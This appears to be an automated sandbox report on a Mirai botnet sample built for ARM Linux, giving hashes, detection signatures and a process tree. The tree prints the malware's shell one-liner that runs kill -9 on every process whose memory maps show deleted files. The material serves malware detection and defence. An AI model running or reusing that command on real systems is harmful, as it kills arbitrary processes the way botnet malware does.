Edit tour

Linux Analysis Report
arm7.elf

Overview

General Information

Sample name:	arm7.elf
Analysis ID:	1582917
MD5:	f79e1a6215aa503b778a36ae1d9adebd
SHA1:	9c07d0922b3c30fccfc31cf335e459008817de3c
SHA256:	312e3eb0decead7f6c7bc08ccb39ebbf05a5f2013ed909883666ca91b9f11f4e
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Reads system files that contain records of logged in users

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to kill multiple processes (SIGKILL)

Creates hidden files and/or directories

Executes commands using a shell command-line interpreter

Executes the "grep" command used to find patterns in files or piped streams

Found strings indicative of a multi-platform dropper

Reads CPU information from /sys indicative of miner or evasive malware

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582917
Start date and time:	2024-12-31 21:31:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm7.elf
Detection:	MAL
Classification:	mal76.spre.troj.linELF@0/5@0/0

Warnings

Report size exceeded maximum capacity and may have missing behavior information.
VT rate limit hit for: arm7.elf

Runtime Messages

Command:	/tmp/arm7.elf
PID:	6237
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:
Standard Error:	grep: /proc/1576/maps: No such file or directory grep: /proc/1579/maps: No such file or directory grep: /proc/1582/maps: No such file or directory grep: /proc/1586/maps: No such file or directory grep: /proc/1612/maps: No such file or directory grep: /proc/1629/maps: No such file or directory grep: /proc/2014/maps: No such file or directory grep: /proc/2025/maps: No such file or directory grep: /proc/2077/maps: No such file or directory grep: /proc/2078/maps: No such file or directory grep: /proc/2079/maps: No such file or directory grep: /proc/2080/maps: No such file or directory grep: /proc/2083/maps: No such file or directory grep: /proc/2084/maps: No such file or directory grep: /proc/2223/maps: No such file or directory

Process Tree

system is lnxubuntu20

arm7.elf (PID: 6237, Parent: 6163, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm7.elf

arm7.elf New Fork (PID: 6239, Parent: 6237)

sh (PID: 6239, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "for pid in $(ls /proc | grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid || true; done;"

sh New Fork (PID: 6245, Parent: 6239)

sh New Fork (PID: 6246, Parent: 6245)

ls (PID: 6246, Parent: 6245, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /proc

sh New Fork (PID: 6247, Parent: 6245)

grep (PID: 6247, Parent: 6245, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -E ^[0-9]+$

sh New Fork (PID: 6248, Parent: 6239)

grep (PID: 6248, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1/maps

sh New Fork (PID: 6249, Parent: 6239)

grep (PID: 6249, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/10/maps

sh New Fork (PID: 6250, Parent: 6239)

grep (PID: 6250, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/100/maps

sh New Fork (PID: 6251, Parent: 6239)

grep (PID: 6251, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/101/maps

sh New Fork (PID: 6252, Parent: 6239)

grep (PID: 6252, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/102/maps

sh New Fork (PID: 6253, Parent: 6239)

grep (PID: 6253, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/103/maps

sh New Fork (PID: 6254, Parent: 6239)

grep (PID: 6254, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/104/maps

sh New Fork (PID: 6255, Parent: 6239)

grep (PID: 6255, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/105/maps

sh New Fork (PID: 6256, Parent: 6239)

grep (PID: 6256, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/106/maps

sh New Fork (PID: 6257, Parent: 6239)

grep (PID: 6257, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/107/maps

sh New Fork (PID: 6258, Parent: 6239)

grep (PID: 6258, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/108/maps

sh New Fork (PID: 6259, Parent: 6239)

grep (PID: 6259, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/109/maps

sh New Fork (PID: 6262, Parent: 6239)

grep (PID: 6262, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/11/maps

sh New Fork (PID: 6263, Parent: 6239)

grep (PID: 6263, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/110/maps

sh New Fork (PID: 6264, Parent: 6239)

grep (PID: 6264, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/111/maps

sh New Fork (PID: 6265, Parent: 6239)

grep (PID: 6265, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/112/maps

sh New Fork (PID: 6266, Parent: 6239)

grep (PID: 6266, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/113/maps

sh New Fork (PID: 6267, Parent: 6239)

grep (PID: 6267, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/114/maps

sh New Fork (PID: 6268, Parent: 6239)

grep (PID: 6268, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/115/maps

sh New Fork (PID: 6269, Parent: 6239)

grep (PID: 6269, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/116/maps

sh New Fork (PID: 6270, Parent: 6239)

grep (PID: 6270, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/117/maps

sh New Fork (PID: 6271, Parent: 6239)

grep (PID: 6271, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/118/maps

sh New Fork (PID: 6272, Parent: 6239)

grep (PID: 6272, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/119/maps

sh New Fork (PID: 6273, Parent: 6239)

grep (PID: 6273, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/12/maps

sh New Fork (PID: 6274, Parent: 6239)

grep (PID: 6274, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/120/maps

sh New Fork (PID: 6275, Parent: 6239)

grep (PID: 6275, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1207/maps

sh New Fork (PID: 6276, Parent: 6239)

grep (PID: 6276, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/121/maps

sh New Fork (PID: 6277, Parent: 6239)

grep (PID: 6277, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/122/maps

sh New Fork (PID: 6278, Parent: 6239)

grep (PID: 6278, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/123/maps

sh New Fork (PID: 6279, Parent: 6239)

grep (PID: 6279, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/124/maps

sh New Fork (PID: 6280, Parent: 6239)

grep (PID: 6280, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/125/maps

sh New Fork (PID: 6281, Parent: 6239)

grep (PID: 6281, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/126/maps

sh New Fork (PID: 6282, Parent: 6239)

grep (PID: 6282, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/127/maps

sh New Fork (PID: 6283, Parent: 6239)

grep (PID: 6283, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/128/maps

sh New Fork (PID: 6284, Parent: 6239)

grep (PID: 6284, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/13/maps

sh New Fork (PID: 6285, Parent: 6239)

grep (PID: 6285, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/130/maps

sh New Fork (PID: 6286, Parent: 6239)

grep (PID: 6286, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/132/maps

sh New Fork (PID: 6287, Parent: 6239)

grep (PID: 6287, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1320/maps

sh New Fork (PID: 6288, Parent: 6239)

grep (PID: 6288, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1334/maps

sh New Fork (PID: 6289, Parent: 6239)

grep (PID: 6289, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1335/maps

sh New Fork (PID: 6290, Parent: 6239)

grep (PID: 6290, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1344/maps

sh New Fork (PID: 6291, Parent: 6239)

grep (PID: 6291, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1349/maps

sh New Fork (PID: 6292, Parent: 6239)

grep (PID: 6292, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1389/maps

sh New Fork (PID: 6293, Parent: 6239)

grep (PID: 6293, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/14/maps

sh New Fork (PID: 6294, Parent: 6239)

grep (PID: 6294, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/141/maps

sh New Fork (PID: 6295, Parent: 6239)

grep (PID: 6295, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/144/maps

sh New Fork (PID: 6296, Parent: 6239)

grep (PID: 6296, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1463/maps

sh New Fork (PID: 6297, Parent: 6239)

grep (PID: 6297, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1465/maps

sh New Fork (PID: 6298, Parent: 6239)

grep (PID: 6298, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1475/maps

sh New Fork (PID: 6299, Parent: 6239)

grep (PID: 6299, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1476/maps

sh New Fork (PID: 6300, Parent: 6239)

grep (PID: 6300, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1477/maps

sh New Fork (PID: 6301, Parent: 6239)

grep (PID: 6301, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1489/maps

sh New Fork (PID: 6302, Parent: 6239)

grep (PID: 6302, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1494/maps

sh New Fork (PID: 6303, Parent: 6239)

grep (PID: 6303, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/15/maps

sh New Fork (PID: 6304, Parent: 6239)

grep (PID: 6304, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1532/maps

sh New Fork (PID: 6305, Parent: 6239)

grep (PID: 6305, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/157/maps

sh New Fork (PID: 6311, Parent: 6239)

grep (PID: 6311, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1576/maps

sh New Fork (PID: 6313, Parent: 6239)

grep (PID: 6313, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1579/maps

sh New Fork (PID: 6314, Parent: 6239)

grep (PID: 6314, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1582/maps

sh New Fork (PID: 6315, Parent: 6239)

grep (PID: 6315, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1586/maps

sh New Fork (PID: 6316, Parent: 6239)

grep (PID: 6316, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1594/maps

sh New Fork (PID: 6317, Parent: 6239)

grep (PID: 6317, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1599/maps

sh New Fork (PID: 6318, Parent: 6239)

grep (PID: 6318, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/16/maps

sh New Fork (PID: 6319, Parent: 6239)

grep (PID: 6319, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1601/maps

sh New Fork (PID: 6320, Parent: 6239)

grep (PID: 6320, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1612/maps

sh New Fork (PID: 6321, Parent: 6239)

grep (PID: 6321, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1622/maps

sh New Fork (PID: 6322, Parent: 6239)

grep (PID: 6322, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1623/maps

sh New Fork (PID: 6325, Parent: 6239)

grep (PID: 6325, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1627/maps

sh New Fork (PID: 6326, Parent: 6239)

grep (PID: 6326, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1629/maps

sh New Fork (PID: 6327, Parent: 6239)

grep (PID: 6327, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1632/maps

sh New Fork (PID: 6328, Parent: 6239)

grep (PID: 6328, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1633/maps

sh New Fork (PID: 6329, Parent: 6239)

grep (PID: 6329, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1638/maps

sh New Fork (PID: 6330, Parent: 6239)

grep (PID: 6330, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1639/maps

sh New Fork (PID: 6331, Parent: 6239)

grep (PID: 6331, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1642/maps

sh New Fork (PID: 6332, Parent: 6239)

grep (PID: 6332, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1648/maps

sh New Fork (PID: 6334, Parent: 6239)

grep (PID: 6334, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1654/maps

sh New Fork (PID: 6336, Parent: 6239)

grep (PID: 6336, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1656/maps

sh New Fork (PID: 6337, Parent: 6239)

grep (PID: 6337, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1661/maps

sh New Fork (PID: 6338, Parent: 6239)

grep (PID: 6338, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1664/maps

sh New Fork (PID: 6339, Parent: 6239)

grep (PID: 6339, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1668/maps

sh New Fork (PID: 6340, Parent: 6239)

grep (PID: 6340, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1698/maps

sh New Fork (PID: 6341, Parent: 6239)

grep (PID: 6341, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1699/maps

sh New Fork (PID: 6344, Parent: 6239)

grep (PID: 6344, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/17/maps

sh New Fork (PID: 6345, Parent: 6239)

grep (PID: 6345, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/18/maps

sh New Fork (PID: 6346, Parent: 6239)

grep (PID: 6346, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1809/maps

sh New Fork (PID: 6347, Parent: 6239)

grep (PID: 6347, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1860/maps

sh New Fork (PID: 6349, Parent: 6239)

grep (PID: 6349, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1872/maps

sh New Fork (PID: 6353, Parent: 6239)

grep (PID: 6353, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1877/maps

sh New Fork (PID: 6354, Parent: 6239)

grep (PID: 6354, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1886/maps

sh New Fork (PID: 6355, Parent: 6239)

grep (PID: 6355, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1888/maps

sh New Fork (PID: 6359, Parent: 6239)

grep (PID: 6359, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1890/maps

sh New Fork (PID: 6360, Parent: 6239)

grep (PID: 6360, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1900/maps

sh New Fork (PID: 6362, Parent: 6239)

grep (PID: 6362, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1983/maps

sh New Fork (PID: 6363, Parent: 6239)

grep (PID: 6363, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2/maps

sh New Fork (PID: 6511, Parent: 6239)

grep (PID: 6511, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/20/maps

sh New Fork (PID: 6512, Parent: 6239)

grep (PID: 6512, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2009/maps

sh New Fork (PID: 6513, Parent: 6239)

grep (PID: 6513, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/201/maps

sh New Fork (PID: 6514, Parent: 6239)

grep (PID: 6514, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2014/maps

sh New Fork (PID: 6525, Parent: 6239)

grep (PID: 6525, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2018/maps

sh New Fork (PID: 6526, Parent: 6239)

grep (PID: 6526, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/202/maps

sh New Fork (PID: 6527, Parent: 6239)

grep (PID: 6527, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2025/maps

sh New Fork (PID: 6528, Parent: 6239)

grep (PID: 6528, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2028/maps

sh New Fork (PID: 6529, Parent: 6239)

grep (PID: 6529, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/203/maps

sh New Fork (PID: 6530, Parent: 6239)

grep (PID: 6530, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2033/maps

sh New Fork (PID: 6531, Parent: 6239)

grep (PID: 6531, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2038/maps

sh New Fork (PID: 6532, Parent: 6239)

grep (PID: 6532, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/204/maps

sh New Fork (PID: 6533, Parent: 6239)

grep (PID: 6533, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2048/maps

sh New Fork (PID: 6534, Parent: 6239)

grep (PID: 6534, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/205/maps

sh New Fork (PID: 6536, Parent: 6239)

grep (PID: 6536, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2050/maps

sh New Fork (PID: 6538, Parent: 6239)

grep (PID: 6538, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/206/maps

sh New Fork (PID: 6543, Parent: 6239)

grep (PID: 6543, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2062/maps

sh New Fork (PID: 6544, Parent: 6239)

grep (PID: 6544, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2063/maps

sh New Fork (PID: 6545, Parent: 6239)

grep (PID: 6545, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2069/maps

sh New Fork (PID: 6550, Parent: 6239)

grep (PID: 6550, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/207/maps

sh New Fork (PID: 6551, Parent: 6239)

grep (PID: 6551, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2074/maps

sh New Fork (PID: 6552, Parent: 6239)

grep (PID: 6552, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2077/maps

sh New Fork (PID: 6554, Parent: 6239)

grep (PID: 6554, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2078/maps

sh New Fork (PID: 6555, Parent: 6239)

grep (PID: 6555, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2079/maps

sh New Fork (PID: 6556, Parent: 6239)

grep (PID: 6556, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/208/maps

sh New Fork (PID: 6559, Parent: 6239)

grep (PID: 6559, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2080/maps

sh New Fork (PID: 6561, Parent: 6239)

grep (PID: 6561, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2083/maps

sh New Fork (PID: 6562, Parent: 6239)

grep (PID: 6562, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2084/maps

sh New Fork (PID: 6566, Parent: 6239)

grep (PID: 6566, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/209/maps

sh New Fork (PID: 6567, Parent: 6239)

grep (PID: 6567, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2096/maps

sh New Fork (PID: 6568, Parent: 6239)

grep (PID: 6568, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2097/maps

sh New Fork (PID: 6571, Parent: 6239)

grep (PID: 6571, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/21/maps

sh New Fork (PID: 6572, Parent: 6239)

grep (PID: 6572, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/210/maps

sh New Fork (PID: 6576, Parent: 6239)

grep (PID: 6576, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2102/maps

sh New Fork (PID: 6577, Parent: 6239)

grep (PID: 6577, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/211/maps

sh New Fork (PID: 6578, Parent: 6239)

grep (PID: 6578, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2114/maps

sh New Fork (PID: 6580, Parent: 6239)

grep (PID: 6580, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/212/maps

sh New Fork (PID: 6581, Parent: 6239)

grep (PID: 6581, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2123/maps

sh New Fork (PID: 6582, Parent: 6239)

grep (PID: 6582, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2126/maps

sh New Fork (PID: 6583, Parent: 6239)

grep (PID: 6583, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2128/maps

sh New Fork (PID: 6584, Parent: 6239)

grep (PID: 6584, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2129/maps

sh New Fork (PID: 6585, Parent: 6239)

grep (PID: 6585, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/213/maps

sh New Fork (PID: 6586, Parent: 6239)

grep (PID: 6586, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/214/maps

sh New Fork (PID: 6587, Parent: 6239)

grep (PID: 6587, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2146/maps

sh New Fork (PID: 6588, Parent: 6239)

grep (PID: 6588, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/215/maps

sh New Fork (PID: 6589, Parent: 6239)

grep (PID: 6589, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2156/maps

sh New Fork (PID: 6590, Parent: 6239)

grep (PID: 6590, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/216/maps

sh New Fork (PID: 6591, Parent: 6239)

grep (PID: 6591, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/217/maps

sh New Fork (PID: 6593, Parent: 6239)

grep (PID: 6593, Parent: 6239, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/218/maps

sh New Fork (PID: 6594, Parent: 6239)

